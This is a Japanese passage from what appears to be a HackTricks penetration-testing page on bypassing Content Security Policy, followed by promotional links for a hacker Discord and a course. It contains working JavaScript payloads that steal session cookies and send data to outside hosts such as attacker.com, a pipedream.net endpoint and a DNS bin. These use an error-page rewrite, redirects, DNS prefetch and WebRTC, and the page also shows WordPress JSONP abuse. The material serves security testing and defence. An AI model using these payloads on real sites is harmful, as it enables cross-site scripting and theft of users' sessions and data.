PHP はデフォルトでレスポンスを 4096 バイトまでバッファリングすることで知られています。そのため、PHP が警告を表示している場合、警告内に十分なデータを提供することで、レスポンス は CSP ヘッダー よりも 前に 送信 され、ヘッダーが無視されます。
その後、このテクニックは基本的に、警告でレスポンスバッファを埋めることで、CSP ヘッダーが送信されないようにするというものです。

この解説 からのアイデア。

エラーページの書き換え

この解説 によると、エラーページ（おそらく CSP なしで）を読み込んでそのコンテンツを書き換えることで、CSP 保護をバイパスすることが可能だったようです。

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOMEは、ページのエンドポイントでのXSS（または非常に制限されたXSS）を悪用して、同じオリジンの他のエンドポイントを悪用する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページをリフレッシュして、悪用したい同じオリジンの実際のエンドポイントに移動することで行われます。この方法で、脆弱なエンドポイントは**openerオブジェクトを使用してpayload内の実際の悪用するエンドポイントのDOMにアクセス**できます。詳細については、次を参照してください：

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

さらに、WordPressには、/wp-json/wp/v2/users/1?_jsonp=dataにJSONPエンドポイントがあり、出力に送信されたデータを反映します（文字、数字、ドットのみの制限付き）。

攻撃者は、そのエンドポイントを悪用してWordPressに対するSOME攻撃を生成し、<script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>内に埋め込むことができます。このスクリプトは**'self'で許可されているため、ロードされます。さらに、WordPressがインストールされているため、攻撃者は脆弱な** コールバックエンドポイントを介してSOME攻撃を悪用し、CSPをバイパスしてユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりする可能性があります。
この攻撃を実行する方法の詳細については、https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/を参照してください。

CSP Exfiltration Bypasses

外部サーバーとのやり取りを許可しない厳格なCSPがある場合、情報を外部に持ち出すために常にできることがいくつかあります。

Location

単純にロケーションを更新して、秘密情報を攻撃者のサーバーに送信することができます：

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

メタタグ

メタタグを注入することでリダイレクトすることができます（これは単なるリダイレクトであり、コンテンツは漏洩しません）

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS プリフェッチ

ページをより速く読み込むために、ブラウザはホスト名を IP アドレスに事前解決し、後で使用するためにキャッシュします。
ブラウザにホスト名を事前解決するよう指示するには、次のようにします：<link rel="dns-prefetch" href="something.com">

これを悪用して、DNS リクエストを介して機密情報を外部に送信することができます。

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

もう一つの方法:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

このようなことが起こらないようにするために、サーバーは次のHTTPヘッダーを送信できます：

X-DNS-Prefetch-Control: off

{% hint style="info" %} 明らかに、このテクニックはヘッドレスブラウザ（ボット）では機能しません {% endhint %}

WebRTC

いくつかのページで、WebRTCはCSPのconnect-srcポリシーをチェックしないと読むことができます。

実際には、_DNSリクエスト_を使用して情報を_漏洩_させることができます。このコードをチェックしてください:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

もう1つのオプション:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

オンラインでCSPポリシーをチェックする

CSPを自動的に作成する

https://csper.io/docs/generating-content-security-policy

参考文献

​

HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！

ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加

リアルタイムハックニュース
リアルタイムのニュースと情報を通じて、ハッキングの世界を追いかける

最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握

Discord に参加して、今日からトップハッカーと協力を始めましょう！

**htARTE（HackTricks AWS Red Team Expert）**でAWSハッキングをゼロからヒーローまで学びましょう！

HackTricksをサポートする他の方法: